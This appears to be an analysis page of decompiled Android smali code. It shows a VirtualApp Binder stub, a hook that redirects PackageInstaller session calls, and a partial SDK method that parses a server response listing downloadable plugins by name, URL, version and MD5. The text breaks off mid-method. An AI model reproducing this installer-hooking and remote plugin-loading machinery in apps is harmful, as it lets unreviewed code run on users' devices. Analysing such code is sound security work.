                              1const/4 v2, 0x0
                              2const/4 v4, 0x1
                              3sparse-switch p1, :sswitch_data_108
                              5invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              6move-result v0
                              7goto_9: return v0
                              8sswitch_a:
                              9const-string v0, "com.lody.virtual.client.IVClient"
                              11invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              12move v0, v4
                              13goto/16 :goto_9
                              14sswitch_11:
                              15const-string v0, "com.lody.virtual.client.IVClient"
                              17invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              19invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              20move-result-object v5
                              22invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              23move-result v0
                              24if-eqz v0, :cond_4e
                              26sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              28invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              29move-result-object v0
                              30check-cast v0, Landroid/content/ComponentName;
                              31move-object v1, v0
                              32goto_29:
                              33invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              34move-result v0
                              35if-eqz v0, :cond_50
                              37sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              39invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              40move-result-object v0
                              41check-cast v0, Landroid/content/Intent;
                              42move-object v3, v0
                              43goto_38:
                              44invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              45move-result v0
                              46if-eqz v0, :cond_52
                              48sget-object v0, Lcom/lody/virtual/remote/PendingResultData;->CREATOR:Landroid/os/Parcelable$Creator;
                              50invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              51move-result-object v0
                              52check-cast v0, Lcom/lody/virtual/remote/PendingResultData;
                              53goto_46:
                              54invoke-virtual {p0, v5, v1, v3, v0}, Lcom/lody/virtual/client/IVClient$Stub;->scheduleReceiver(Ljava/lang/String;Landroid/content/ComponentName;Landroid/content/Intent;Lcom/lody/virtual/remote/PendingResultData;)V
                              56invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              57move v0, v4
                              58goto/16 :goto_9
                              59cond_4e: move-object v1, v2
                              60goto/16 :goto_29
                              61cond_50: move-object v3, v2
                              62goto/16 :goto_38
                              63cond_52: move-object v0, v2
                              64goto/16 :goto_46
                              65sswitch_54:
                              66const-string v0, "com.lody.virtual.client.IVClient"
                              68invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              70invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              71move-result-object v1
                              73invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              74move-result-object v3
                              76invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              77move-result v0
                              78if-eqz v0, :cond_77
                              80sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              82invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              83move-result-object v0
                              84check-cast v0, Landroid/content/Intent;
                              85goto_6f:
                              86invoke-virtual {p0, v1, v3, v0}, Lcom/lody/virtual/client/IVClient$Stub;->scheduleNewIntent(Ljava/lang/String;Landroid/os/IBinder;Landroid/content/Intent;)V
                              88invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              89move v0, v4
                              90goto/16 :goto_9
                              91cond_77: move-object v0, v2
                              92goto/16 :goto_6f
                              93sswitch_79:
                              94const-string v0, "com.lody.virtual.client.IVClient"
                              96invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              98invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              99move-result-object v0
                              101invoke-virtual {p0, v0}, Lcom/lody/virtual/client/IVClient$Stub;->finishActivity(Landroid/os/IBinder;)V
                              103invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              104move v0, v4
                              105goto/16 :goto_9
                              106sswitch_8a:
                              107const-string v0, "com.lody.virtual.client.IVClient"
                              109invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              111invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              112move-result v0
                              113if-eqz v0, :cond_ae
                              115sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              117invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              118move-result-object v0
                              119check-cast v0, Landroid/content/ComponentName;
                              120goto_9d:
                              121invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              122move-result-object v1
                              124invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/client/IVClient$Stub;->createProxyService(Landroid/content/ComponentName;Landroid/os/IBinder;)Landroid/os/IBinder;
                              125move-result-object v0
                              127invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              129invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStrongBinder(Landroid/os/IBinder;)V
                              130move v0, v4
                              131goto/16 :goto_9
                              132cond_ae: move-object v0, v2
                              133goto/16 :goto_9d
                              134sswitch_b0:
                              135const-string v0, "com.lody.virtual.client.IVClient"
                              137invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              139invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              140move-result v0
                              141if-eqz v0, :cond_d0
                              143sget-object v0, Landroid/content/pm/ProviderInfo;->CREATOR:Landroid/os/Parcelable$Creator;
                              145invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              146move-result-object v0
                              147check-cast v0, Landroid/content/pm/ProviderInfo;
                              148goto_c3:
                              149invoke-virtual {p0, v0}, Lcom/lody/virtual/client/IVClient$Stub;->acquireProviderClient(Landroid/content/pm/ProviderInfo;)Landroid/os/IBinder;
                              150move-result-object v0
                              152invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              154invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStrongBinder(Landroid/os/IBinder;)V
                              155move v0, v4
                              156goto/16 :goto_9
                              157cond_d0: move-object v0, v2
                              158goto/16 :goto_c3
                              159sswitch_d2:
                              160const-string v0, "com.lody.virtual.client.IVClient"
                              162invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              164invoke-virtual {p0}, Lcom/lody/virtual/client/IVClient$Stub;->getAppThread()Landroid/os/IBinder;
                              165move-result-object v0
                              167invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              169invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStrongBinder(Landroid/os/IBinder;)V
                              170move v0, v4
                              171goto/16 :goto_9
                              172sswitch_e4:
                              173const-string v0, "com.lody.virtual.client.IVClient"
                              175invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              177invoke-virtual {p0}, Lcom/lody/virtual/client/IVClient$Stub;->getToken()Landroid/os/IBinder;
                              178move-result-object v0
                              180invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              182invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStrongBinder(Landroid/os/IBinder;)V
                              183move v0, v4
                              184goto/16 :goto_9
                              185sswitch_f6:
                              186const-string v0, "com.lody.virtual.client.IVClient"
                              188invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              190invoke-virtual {p0}, Lcom/lody/virtual/client/IVClient$Stub;->getDebugInfo()Ljava/lang/String;
                              191move-result-object v0
                              193invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              195invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              196move v0, v4
                              197goto/16 :goto_9
                              APIs
                              • java.lang.reflect.Method.getName
                              • java.lang.String.hashCode
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.reflect.Method.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.RuntimeException.<init>
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.intValue
                              • java.lang.Boolean.booleanValue
                              • java.lang.Integer.valueOf
                              Strings
                              • Not support PackageInstaller method :
                              • createSession
                              • updateSessionAppIcon
                              • updateSessionAppLabel
                              • abandonSession
                              • openSession
                              • getSessionInfo
                              • getAllSessions
                              • getMySessions
                              • registerCallback
                              • unregisterCallback
                              • setPermissionsResult
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x1
                              2const/4 v1, 0x0
                              4invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              5move-result-object v3
                              6const/4 v0, -0x1
                              8invoke-virtual {v3}, Ljava/lang/String;->hashCode()I
                              9move-result v4
                              10sparse-switch v4, :sswitch_data_190
                              11cond_e: packed-switch v0, :pswitch_data_1be
                              12new-instance v0, Ljava/lang/RuntimeException;
                              13new-instance v1, Ljava/lang/StringBuilder;
                              15invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              17const-string v2, "Not support PackageInstaller method : "
                              19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              20move-result-object v1
                              22invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              23move-result-object v2
                              25invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              26move-result-object v1
                              28invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              29move-result-object v1
                              31invoke-direct {v0, v1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                              32throw v0
                              33sswitch_2e:
                              34const-string v4, "createSession"
                              36invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              37move-result v3
                              38if-eqz v3, :cond_e
                              39move v0, v1
                              40goto/16 :goto_e
                              41sswitch_38:
                              42const-string v4, "updateSessionAppIcon"
                              44invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              45move-result v3
                              46if-eqz v3, :cond_e
                              47move v0, v2
                              48goto/16 :goto_e
                              49sswitch_42:
                              50const-string v4, "updateSessionAppLabel"
                              52invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              53move-result v3
                              54if-eqz v3, :cond_e
                              55const/4 v0, 0x2
                              56goto/16 :goto_e
                              57sswitch_4c:
                              58const-string v4, "abandonSession"
                              60invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              61move-result v3
                              62if-eqz v3, :cond_e
                              63const/4 v0, 0x3
                              64goto/16 :goto_e
                              65sswitch_56:
                              66const-string v4, "openSession"
                              68invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              69move-result v3
                              70if-eqz v3, :cond_e
                              71const/4 v0, 0x4
                              72goto/16 :goto_e
                              73sswitch_60:
                              74const-string v4, "getSessionInfo"
                              76invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              77move-result v3
                              78if-eqz v3, :cond_e
                              79const/4 v0, 0x5
                              80goto/16 :goto_e
                              81sswitch_6a:
                              82const-string v4, "getAllSessions"
                              84invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              85move-result v3
                              86if-eqz v3, :cond_e
                              87const/4 v0, 0x6
                              88goto/16 :goto_e
                              89sswitch_74:
                              90const-string v4, "getMySessions"
                              92invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              93move-result v3
                              94if-eqz v3, :cond_e
                              95const/4 v0, 0x7
                              96goto/16 :goto_e
                              97sswitch_7e:
                              98const-string v4, "registerCallback"
                              100invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              101move-result v3
                              102if-eqz v3, :cond_e
                              103const/16 v0, 0x8
                              104goto/16 :goto_e
                              105sswitch_89:
                              106const-string v4, "unregisterCallback"
                              108invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              109move-result v3
                              110if-eqz v3, :cond_e
                              111const/16 v0, 0x9
                              112goto/16 :goto_e
                              113sswitch_95:
                              114const-string v4, "setPermissionsResult"
                              116invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              117move-result v3
                              118if-eqz v3, :cond_e
                              119const/16 v0, 0xa
                              120goto/16 :goto_e
                              121pswitch_a1: aget-object v0, p3, v1
                              122check-cast v0, Landroid/content/pm/PackageInstaller$SessionParams;
                              124invoke-static {v0}, Lcom/lody/virtual/server/pm/installer/SessionParams;->create(Landroid/content/pm/PackageInstaller$SessionParams;)Lcom/lody/virtual/server/pm/installer/SessionParams;
                              125move-result-object v1
                              126aget-object v0, p3, v2
                              127check-cast v0, Ljava/lang/String;
                              129iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              131invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              132move-result v3
                              134invoke-interface {v2, v1, v0, v3}, Lcom/lody/virtual/server/IPackageInstaller;->createSession(Lcom/lody/virtual/server/pm/installer/SessionParams;Ljava/lang/String;I)I
                              135move-result v0
                              137invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              138move-result-object v0
                              139goto_bb: return-object v0
                              140pswitch_bc: aget-object v0, p3, v1
                              141check-cast v0, Ljava/lang/Integer;
                              143invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              144move-result v3
                              145aget-object v0, p3, v2
                              146check-cast v0, Landroid/graphics/Bitmap;
                              148iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              150invoke-interface {v2, v3, v0}, Lcom/lody/virtual/server/IPackageInstaller;->updateSessionAppIcon(ILandroid/graphics/Bitmap;)V
                              152invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              153move-result-object v0
                              154goto/16 :goto_bb
                              155pswitch_d2: aget-object v0, p3, v1
                              156check-cast v0, Ljava/lang/Integer;
                              158invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              159move-result v3
                              160aget-object v0, p3, v2
                              161check-cast v0, Ljava/lang/String;
                              163iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              165invoke-interface {v2, v3, v0}, Lcom/lody/virtual/server/IPackageInstaller;->updateSessionAppLabel(ILjava/lang/String;)V
                              167invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              168move-result-object v0
                              169goto/16 :goto_bb
                              170pswitch_e8:
                              171iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              172aget-object v0, p3, v1
                              173check-cast v0, Ljava/lang/Integer;
                              175invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              176move-result v0
                              178invoke-interface {v2, v0}, Lcom/lody/virtual/server/IPackageInstaller;->abandonSession(I)V
                              180invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              181move-result-object v0
                              182goto/16 :goto_bb
                              183pswitch_fa:
                              184iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              185aget-object v0, p3, v1
                              186check-cast v0, Ljava/lang/Integer;
                              188invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              189move-result v0
                              191invoke-interface {v2, v0}, Lcom/lody/virtual/server/IPackageInstaller;->openSession(I)Landroid/content/pm/IPackageInstallerSession;
                              192move-result-object v0
                              193goto/16 :goto_bb
                              194pswitch_109:
                              195iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              196aget-object v0, p3, v1
                              197check-cast v0, Ljava/lang/Integer;
                              199invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              200move-result v0
                              202invoke-interface {v2, v0}, Lcom/lody/virtual/server/IPackageInstaller;->getSessionInfo(I)Lcom/lody/virtual/server/pm/installer/SessionInfo;
                              203move-result-object v0
                              204if-eqz v0, :cond_11e
                              206invoke-virtual {v0}, Lcom/lody/virtual/server/pm/installer/SessionInfo;->alloc()Landroid/content/pm/PackageInstaller$SessionInfo;
                              207move-result-object v0
                              208goto/16 :goto_bb
                              209cond_11e: const/4 v0, 0x0
                              210goto/16 :goto_bb
                              211pswitch_120:
                              212iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              213aget-object v0, p3, v1
                              214check-cast v0, Ljava/lang/Integer;
                              216invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              217move-result v0
                              219invoke-interface {v2, v0}, Lcom/lody/virtual/server/IPackageInstaller;->getAllSessions(I)Lcom/lody/virtual/remote/VParceledListSlice;
                              220move-result-object v0
                              222invoke-virtual {v0}, Lcom/lody/virtual/remote/VParceledListSlice;->getList()Ljava/util/List;
                              223move-result-object v0
                              225invoke-static {v0}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->create(Ljava/util/List;)Ljava/lang/Object;
                              226move-result-object v0
                              227goto/16 :goto_bb
                              228pswitch_137: aget-object v0, p3, v1
                              229check-cast v0, Ljava/lang/String;
                              230aget-object v1, p3, v2
                              231check-cast v1, Ljava/lang/Integer;
                              233invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              234move-result v1
                              236iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              238invoke-interface {v2, v0, v1}, Lcom/lody/virtual/server/IPackageInstaller;->getMySessions(Ljava/lang/String;I)Lcom/lody/virtual/remote/VParceledListSlice;
                              239move-result-object v0
                              241invoke-virtual {v0}, Lcom/lody/virtual/remote/VParceledListSlice;->getList()Ljava/util/List;
                              242move-result-object v0
                              244invoke-static {v0}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->create(Ljava/util/List;)Ljava/lang/Object;
                              245move-result-object v0
                              246goto/16 :goto_bb
                              247pswitch_153: aget-object v0, p3, v1
                              248check-cast v0, Landroid/content/pm/IPackageInstallerCallback;
                              250iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              252invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              253move-result v3
                              255invoke-interface {v2, v0, v3}, Lcom/lody/virtual/server/IPackageInstaller;->registerCallback(Landroid/content/pm/IPackageInstallerCallback;I)V
                              257invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              258move-result-object v0
                              259goto/16 :goto_bb
                              260pswitch_166: aget-object v0, p3, v1
                              261check-cast v0, Landroid/content/pm/IPackageInstallerCallback;
                              263iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              265invoke-interface {v2, v0}, Lcom/lody/virtual/server/IPackageInstaller;->unregisterCallback(Landroid/content/pm/IPackageInstallerCallback;)V
                              267invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              268move-result-object v0
                              269goto/16 :goto_bb
                              270pswitch_175: aget-object v0, p3, v1
                              271check-cast v0, Ljava/lang/Integer;
                              273invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              274move-result v3
                              275aget-object v0, p3, v2
                              276check-cast v0, Ljava/lang/Boolean;
                              278invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
                              279move-result v0
                              281iget-object v2, p0, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;->val$vInstaller:Lcom/lody/virtual/server/IPackageInstaller;
                              283invoke-interface {v2, v3, v0}, Lcom/lody/virtual/server/IPackageInstaller;->setPermissionsResult(IZ)V
                              285invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              286move-result-object v0
                              287goto/16 :goto_bb
                              Cross References
                              APIs
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.optInt
                              • org.json.JSONObject.getJSONObject
                              • org.json.JSONObject.getJSONArray
                              • org.json.JSONObject.optString
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONArray.length
                              • org.json.JSONArray.getJSONObject
                              • org.json.JSONObject.optString
                              • java.lang.String.equals
                              • org.json.JSONObject.optString
                              • org.json.JSONObject.optString
                              • org.json.JSONObject.getJSONArray
                              • org.json.JSONArray.length
                              • org.json.JSONArray.optJSONObject
                              • org.json.JSONObject.optString
                              • org.json.JSONObject.optString
                              • org.json.JSONObject.optString
                              • org.json.JSONObject.optString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.util.List.add
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • code
                              • result
                              • list
                              • uid
                              • name
                              • pllist
                              • aid
                              • cid
                              • items
                              • url
                              • sdkver
                              • md5
                              • get
                              • :
                              • from server
                              • plugin response code is
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/String;",
                              4"Ljava/util/List",
                              5"<",
                              6"Lsdk/nicro/lu/ps/PluginServer$Plugin;",
                              7">;)V"
                              8}
                              9.end annotation
                              10.prologue
                              11const/4 v3, 0x0
                              12const/4 v1, 0x0
                              13new-instance v0, Lorg/json/JSONObject;
                              15invoke-direct {v0, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              17const-string/jumbo v2, "code"
                              18const/4 v4, -0x1
                              20invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->optInt(Ljava/lang/String;I)I
                              21move-result v2
                              22if-nez v2, :cond_ed
                              24const-string/jumbo v2, "result"
                              26invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              27move-result-object v2
                              29const-string/jumbo v4, "list"
                              31invoke-virtual {v2, v4}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                              32move-result-object v5
                              34const-string/jumbo v2, "uid"
                              36const-string/jumbo v4, ""
                              38invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              39move-result-object v0
                              41invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              42move-result v2
                              43if-nez v2, :cond_36
                              44try_start_2f:
                              45invoke-static {}, Lcom/omg/base/SdkBasic;->getInstance()Lcom/omg/base/SdkBasic;
                              46move-result-object v2
                              48invoke-virtual {v2, v0}, Lcom/omg/base/SdkBasic;->setClientID(Ljava/lang/String;)V
                              49try_end_36: move v2, v3
                              50goto_37:
                              51invoke-virtual {v5}, Lorg/json/JSONArray;->length()I
                              52move-result v0
                              53if-ge v2, v0, :cond_108
                              55invoke-virtual {v5, v2}, Lorg/json/JSONArray;->getJSONObject(I)Lorg/json/JSONObject;
                              56move-result-object v4
                              58const-string/jumbo v0, "name"
                              60invoke-virtual {v4, v0}, Lorg/json/JSONObject;->optString(Ljava/lang/String;)Ljava/lang/String;
                              61move-result-object v0
                              62if-eqz v0, :cond_e8
                              64const-string/jumbo v6, "pllist"
                              66invoke-virtual {v6, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              67move-result v0
                              68if-eqz v0, :cond_e8
                              70const-string/jumbo v6, "aid"
                              71move-object v0, v1
                              72check-cast v0, Ljava/lang/String;
                              74invoke-virtual {v4, v6, v0}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              75move-result-object v6
                              77const-string/jumbo v7, "cid"
                              78move-object v0, v1
                              79check-cast v0, Ljava/lang/String;
                              81invoke-virtual {v4, v7, v0}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              82move-result-object v0
                              84invoke-direct {p0, v6, v0}, Lcom/omgSdk/andoclib/f;->a(Ljava/lang/String;Ljava/lang/String;)V
                              86const-string/jumbo v0, "items"
                              88invoke-virtual {v4, v0}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                              89move-result-object v6
                              90move v4, v3
                              91goto_72:
                              92invoke-virtual {v6}, Lorg/json/JSONArray;->length()I
                              93move-result v0
                              94if-ge v4, v0, :cond_e8
                              96invoke-virtual {v6, v4}, Lorg/json/JSONArray;->optJSONObject(I)Lorg/json/JSONObject;
                              97move-result-object v7
                              98if-eqz v7, :cond_de
                              99new-instance v8, Lsdk/nicro/lu/ps/PluginServer$Plugin;
                              101invoke-direct {v8}, Lsdk/nicro/lu/ps/PluginServer$Plugin;-><init>()V
                              103const-string/jumbo v0, "name"
                              105invoke-virtual {v7, v0}, Lorg/json/JSONObject;->optString(Ljava/lang/String;)Ljava/lang/String;
                              106move-result-object v0
                              107iput-object v0, v8, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a:Ljava/lang/String;
                              109const-string/jumbo v0, "url"
                              111invoke-virtual {v7, v0}, Lorg/json/JSONObject;->optString(Ljava/lang/String;)Ljava/lang/String;
                              112move-result-object v0
                              113iput-object v0, v8, Lsdk/nicro/lu/ps/PluginServer$Plugin;->b:Ljava/lang/String;
                              115const-string/jumbo v0, "sdkver"
                              117invoke-virtual {v7, v0}, Lorg/json/JSONObject;->optString(Ljava/lang/String;)Ljava/lang/String;
                              118move-result-object v0
                              119iput-object v0, v8, Lsdk/nicro/lu/ps/PluginServer$Plugin;->c:Ljava/lang/String;
                              121const-string/jumbo v9, "md5"
                              122move-object v0, v1
                              123check-cast v0, Ljava/lang/String;
                              125invoke-virtual {v7, v9, v0}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              126move-result-object v0
                              127iput-object v0, v8, Lsdk/nicro/lu/ps/PluginServer$Plugin;->d:Ljava/lang/String;
                              129invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              130move-result-object v0
                              131new-instance v7, Ljava/lang/StringBuilder;
                              133invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                              135const-string/jumbo v9, "get "
                              137invoke-virtual {v7, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              138move-result-object v7
                              140iget-object v9, v8, Lsdk/nicro/lu/ps/PluginServer$Plugin;->a:Ljava/lang/String;
                              142invoke-virtual {v7, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              143move-result-object v7
                              145const-string/jumbo v9, ":"
                              147invoke-virtual {v7, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              148move-result-object v7
                              150iget-object v9, v8, Lsdk/nicro/lu/ps/PluginServer$Plugin;->c:Ljava/lang/String;
                              152invoke-virtual {v7, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              153move-result-object v7
                              155const-string/jumbo v9, " from server"
                              157invoke-virtual {v7, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              158move-result-object v7
